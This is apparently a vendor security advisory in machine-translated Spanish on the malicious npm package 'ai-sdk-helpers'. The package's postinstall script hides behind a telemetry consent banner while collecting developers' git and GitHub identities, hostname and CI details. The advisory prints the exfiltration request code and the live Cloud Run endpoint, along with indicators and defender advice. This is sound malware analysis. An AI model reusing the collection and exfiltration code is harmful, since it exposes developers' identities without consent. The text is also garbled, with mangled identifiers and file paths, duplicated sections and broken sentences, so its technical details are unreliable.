ConsentMask: El paquete npm que oculta la recopilación de identidades de desarrolladores.

ConsentMask: Un paquete npm que oculta una solicitud de consentimiento de telemetría para la recopilación de identidades de desarrolladores.

TL; DR

Un único paquete npm, Ayudantes del SDK de IASe presenta como un conjunto de herramientas de producción para el SDK de IA de Vercel, que ofrece seguimiento de costes, respaldo del proveedor y asistentes de transmisión.

Su script de instalación comienza con un banner de divulgación pulido que describe diagnósticos anónimos, prometiendo que no se transmiten códigos fuente, tokens ni credenciales, respetando una DO_NOT_TRACK opción de exclusión voluntaria y enlace a una página de política de telemetría.

El mismo script lee a continuación la identidad git del desarrollador, la configuración de la CLI de GitHub, el nombre de host de la máquina, el nombre de usuario del sistema operativo, el directorio de trabajo y el proveedor de CI.

Esos datos se envían mediante POST en formato JSON a un punto final de Google Cloud Run, lo que crea una clara discrepancia entre la política de telemetría declarada y los campos recopilados realmente.

El paquete se publicó en veintidós versiones en un único lapso de 83 segundos, y el script de instalación es idéntico byte a byte en todas las versiones marcadas.

Siete de las ocho versiones revisadas por nuestro pipeline El clasificador de aprendizaje automático los calificó como no concluyentes porque el estilo del banner de consentimiento se asemeja a la telemetría legítima.

Nosotros clasificamos ai-sdk-helpers considerado malicioso en función de la recopilación y exfiltración de identidades de desarrolladores durante la instalación.

Gravedad: alta.

 Anatomía de la instalación

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

postinstalación se ejecuta automáticamente en npm instalar, antes de que se importe cualquier código anunciado del paquete. El script scripts/postinstall.js Es donde reside todo el comportamiento en tiempo de instalación.

Comienza con un bloque de comentarios y un aviso de ejecución escrito en el registro de un proyecto de código abierto que se preocupa por la privacidad:

Al instalar ai-sdk-helpers, realizamos una comprobación rápida de compatibilidad con el entorno y generamos diagnósticos anónimos. Los datos son completamente anónimos: recopilamos su plataforma, la versión de Node y un hash unidireccional del identificador de su máquina. No se transmite ningún código fuente, tokens ni credenciales.

Incluso incluye una puerta de exclusión voluntaria que funciona, el primer código ejecutable del archivo:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

El hecho de que este primer paso sea lo que hace que el resto parezca consensual: un desarrollador que establece `D_NO_SEGUIMIENTO` La instalación se completa silenciosamente y el paquete cumple con la convención. La opción de exclusión voluntaria es real. Lo que restringe, para quienes no la configuran, es la información descrita a continuación, no la información más específica de "plataforma, versión de Node y un hash unidireccional" que menciona el aviso.

Debajo de esa puerta, el script ensambla una carga útil que va mucho más allá de esa descripción.

  • *Gidentidad t.* rsolveScmIdentidad()` cabezas `~.gitconfig`,`~.config/git/config`,y el proyecto actual `.it/config`,analiza el `[ser]` sección, y devuelve la configurada commit correo electrónico. Si ningún archivo de configuración genera un correo electrónico, recurre a `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,y `EAIL` Variables de entorno. Una cadena de documentación sobre la función presenta la lectura como una forma de "eliminar instalaciones duplicadas en máquinas propiedad de la misma persona (por ejemplo, computadora portátil + CI)", un propósito declarado que requiere un identificador estable por desarrollador, que commit suministros de correo electrónico.
  • *GCuenta de tHub.* rsolveGitHubIdentity()` cabezas `~.config/gh/hosts.yml` y `~.config/gh/hosts.yaml` el archivo de configuración escrito por la CLI de GitHub cuando un desarrollador se autentica, y extrae mediante expresiones regulares el `uer:` y `eail:` ields. Ese archivo también almacena el token OAuth de GitHub; la expresión regular del script apunta específicamente a las líneas de nombre de usuario y correo electrónico y no extrae el token. Por lo tanto, la afirmación del banner de divulgación de que "nunca se transmiten tokens" es literalmente cierta para ese campo, mientras que los identificadores de cuenta circundantes se leen y se envían.
  • *Hhuella dactilar de CI y st.* El guion luego recopila `o.hostname()`,`o.userInfo().username`,la versión, plataforma y arquitectura de Node, `pocess.cwd()`,y una etiqueta de proveedor de CI resuelta comprobando las variables de entorno para ocho proveedores (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite y dos indicadores genéricos de CI). La lista de proveedores se lee como un inventario de dónde espera ejecutarse el script: shells interactivos y compilación automatizada pipelines igual

Todos estos se agrupan en un único `dagnósticos objeto, con los campos por desarrollador recopilados bajo un `ientidad` ey y los datos del host bajo `rntime` y `cntext` eys, luego serializados y transmitidos:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

La respuesta se descarta y todos los errores se ignoran; un comentario señala que "la telemetría nunca debe interrumpir la instalación". El nombre de host del punto final codifica un servicio de Google Cloud Run en el `ecuerda-oeste1` región.

La brecha es la historia. El banner nombra tres categorías de datos: plataforma, versión de Node, hash de identificador de máquina. La carga útil envía el git real de un desarrollador. commit correo electrónico, su nombre de usuario y correo electrónico de GitHub, el nombre de host de su máquina y el nombre de su cuenta del sistema operativo, la ruta de su proyecto y su entorno de CI. Los campos que identifican un *prson y sus cuentas* son precisamente los campos que omite la divulgación.

El archivo README refuerza el planteamiento del otro lado. Su sección "Telemetría" repite la afirmación de anonimato y vincula la palabra `D_NO_SEGUIMIENTO` o `cnsoledonottrack.com`,la página de la comunidad real que documenta la convención de exclusión voluntaria, tomando prestada una política de privacidad reconocida standard para que el aviso parezca rutinario.

Cronograma

Se trata de un hallazgo aislado con un historial de publicación muy breve y conciso. No hay una campaña que se extienda durante varias semanas; toda la gama de versiones se lanzó a gran velocidad.

Cuándo (UTC)Eventos
2026-06-03 20:31:20 Primera versión (0.1.0) publicado en npm.
2026-06-03 20:31:20 – 20:32:43 Las 22 versiones (0.1.0 atravesar 1.4.2) publicado en una ráfaga automatizada de 83 segundos.
2026-06-04 Se detectaron ocho versiones; el análisis manual confirma la recopilación y exfiltración de identidades durante la instalación. El paquete seguía activo en npm en el momento del análisis.

La ventana de 83 segundos a través de 22 versiones semánticas es en sí misma un indicador de comportamiento: la escalera de versiones (`01.0`,`01.1`,… `14.2`)Presenta la superficie de un proyecto con mantenimiento activo y un historial de versiones, generado en una única ejecución mediante script. El script de instalación no cambia a lo largo de esta secuencia (véase más abajo).

Indicadores de compromiso

La carga útil en el momento de la instalación es idéntica en todo el rango de versiones publicadas. Un `dff` f `sripts/postinstall.js` entre versión `02.1 ` y versión `14.2 ` no devuelve diferencias; el comportamiento es una huella digital fija, no una carga útil en evolución.

Network

La ventana de 83 segundos a través de 22 versiones semánticas es en sí misma un indicador de comportamiento: la escalera de versiones (`01.0`,`01.1`,… `14.2`)Presenta la superficie de un proyecto con mantenimiento activo y un historial de versiones, generado en una única ejecución mediante script. El script de instalación no cambia a lo largo de esta secuencia (véase más abajo).

Indicadores de compromiso

La carga útil en el momento de la instalación es idéntica en todo el rango de versiones publicadas. Un `dff` f `sripts/postinstall.js` entre versión `02.1 ` y versión `14.2 ` no devuelve diferencias; el comportamiento es una huella digital fija, no una carga útil en evolución.

Network

IndicadorRol
npm-package-logger-228835561205.europe-west1.run.app Punto final de exfiltración que recibe solicitudes HTTPS POST con cargas útiles JSON. Alojado en Google Cloud Run en el europe-west1 región.

Infraestructura de señuelo

IndicadorRol
ai-sdk.guide Página de inicio del paquete y sitio web en vivo que respaldan la identidad del autor de la "Guía del SDK de IA".
ai-sdk.guide/telemetry URL de la política de telemetría a la que se hace referencia en el aviso de divulgación durante la instalación.
hello@ai-sdk.guide Correo electrónico del autor declarado en package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Repositorio de origen declarado por el paquete.

Archivos leídos en el momento de la instalación

  • .gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` mail
  • .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `etodo

Firmas de comportamiento

  • – m `pstinstall` ook invocando un script de Node incluido
  • – puerta de exclusión voluntaria (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NO_SEGUIMIENTO`)Presentado como una función de privacidad, antes de la recopilación de identidad.
  • – tbound HTTPS POST de un objeto JSON que contiene el correo electrónico de Git, la identidad de GitHub, el nombre de host, el nombre de usuario del sistema operativo, el directorio de trabajo actual y la etiqueta de CI.
  • – script de instalación idéntico en una serie de versiones publicadas rápidamente

 Atribución y comportamiento observado
No atribuimos nada más allá de lo que registran los metadatos del paquete y del registro.

El mantenedor registrado de npm es la cuenta `aielsimon`,con la dirección `aiel@vigilance.security`.El registro indica que ese correo electrónico no está verificado y que la identidad de control de versiones de la cuenta tampoco está verificada. El `pckage.json`,Por separado, presenta al autor como “Guía del SDK de IA”.ello@ai-sdk.guide>`”con una página de inicio de `a-sdk.guide` y un repositorio de código fuente bajo un `gOrganización thub.com/ai-sdk-guide. El dominio de correo electrónico de la cuenta de publicación (`vigilance.security`)y la identidad del autor dentro del paquete (`a-sdk.guide`)son dominios diferentes.

El `a-sdk.guide` El sitio está en vivo y responde, y el `/elemetría` ath resuelve: la identidad señuelo está respaldada por una presencia web accesible en lugar de un enlace roto, lo que aumenta la credibilidad del encuadre del paquete.

**Capacidad observada.** Durante la instalación, el paquete lee los archivos de identidad del desarrollador y de configuración de la cuenta, identifica el host y el entorno de integración continua (CI), y transmite el resultado a un punto final controlado por el operador, mostrando un aviso que describe un conjunto de datos anonimizado y más limitado. Describimos este comportamiento; no afirmamos ningún motivo para ello. Los lectores que evalúen el paquete —incluida cualquier persona que reconozca la identidad del editor— deben considerar la discrepancia observable entre los flujos de datos declarados y los reales.

Impacto, tendencias y orientación para los defensores

¿Quién queda expuesto? Cualquiera que instale Ayudantes del SDK de IA —directamente o como una dependencia transitiva— ejecuta la colección en esa máquina. Porque el disparador es postinstalaciónEl código de la biblioteca anunciada nunca tiene que importarse para que se produzca el flujo de datos; la instalación por sí sola es suficiente. Los entornos de mayor valor son las estaciones de trabajo de desarrolladores con una identidad git configurada y una CLI de GitHub autenticada, y los ejecutores de CI, donde la detección del proveedor de CI del script indica que se espera que la recopilación se ejecute dentro de la compilación pipelineasí como en ordenadores portátiles.

Lo que expone. No se aplica Secretos en el caso general; la carga útil se centra en identidad: el desarrollador commit correo electrónico, su nombre de cuenta de GitHub y correo electrónico, los nombres de la máquina y la cuenta, y la ruta del proyecto. Eso es un precisUn mapa que muestra quién instaló el paquete, en qué máquina, en qué repositorio y bajo qué sistema de integración continua. Para una organización, un conjunto de estos registros permitiría identificar qué ingenieros y qué sistemas de compilación descargaron la dependencia, lo cual resulta útil como paso previo a actividades posteriores más específicas, aunque el comportamiento del paquete en sí se limite a la recopilación y transmisión.

La tendencia: la telemetría como tapadera. Las herramientas legítimas para desarrolladores recopilan diagnósticos de instalación anonimizados y las convenciones para hacerlo respetuosamente (un aviso de divulgación, un NO RASTREAR El respeto, una bandera de exclusión voluntaria, una URL de política: son bien conocidos. Ayudantes del SDK de IA Reproduce fielmente esas cuatro convenciones y las utiliza como envoltorio para la recopilación de identidad. La presencia de un banner de consentimiento, una opción de exclusión voluntaria que funcione o un enlace a la política de privacidad no garantiza la fiabilidad del paquete; estos controles son fáciles de imitar. La única verificación fiable consiste en saber qué lee realmente el código y adónde lo envía.

Este embalaje también tiene un efecto medible en el triaje automatizado. En todas las versiones, nuestro pipeline Revisados, los comentarios en lenguaje sencillo del script de instalación, los nombres de campo estructurados y la puerta de exclusión voluntaria convencional obtuvieron una puntuación de telemetría ordinaria: siete de los ocho regresaron poco concluyente del clasificador ML en lugar de malicioso. La señal que resuelve la ambigüedad no está en la prosa, sino en los archivos específicos que abre el script (~ / .gitconfig, ~/.config/gh/hosts.yml) y el destino al que se envía. Un revisor, automatizado o humano, que lea la información y se detenga ahí llegará a una conclusión errónea; la determinación debe basarse en los hechos del flujo de datos.

Guía para defensores:

  • Instalar con los scripts deshabilitados por defecto — npm install –ignore-scripts, o establecer ignorar-scripts=verdadero in .npmrc y ejecutar explícitamente los pasos de compilación verificados. Esto neutraliza postinstalación-Cobro activado en todos los ámbitos.
  • No considere los controles de exclusión voluntaria como señales de confianza. NO RASTREAR Una comprobación o un enlace de "política de telemetría" no proporciona información sobre los datos que recopila un script cuando la puerta no está configurada.
  • Lea el gancho de instalación antes de adoptar los paquetes auxiliares del ecosistema de IA. El espacio del SDK de IA de Vercel es un objetivo de alta confianza y de rápido movimiento; un postinstalación que toca ~ / .gitconfig or ~/.config/gh/ Es una señal clara, independientemente de cómo estén escritos los comentarios que la rodean.
  • Supervise la salida en tiempo de compilación. Una solicitud POST HTTPS saliente durante npm instalar, especialmente en el caso de un punto final de función en la nube recién aprovisionado, es observable en la capa de red y constituye un punto de detección importante para los entornos de CI.
  • Esté atento a las versiones comprimidas. Un paquete cuyo historial de versiones semánticas completo aparece en segundos, con un script de instalación inmutable, está presentando un historial de mantenimiento manipulado.
sca-tools-software-herramientas-de-analisis-de-composicion
Priorice, solucione y proteja sus riesgos de software
Obtén tu cuenta gratuita.
Sin tarjeta de crédito.

Asegure el desarrollo y entrega de software

con la suite de productos Xygeni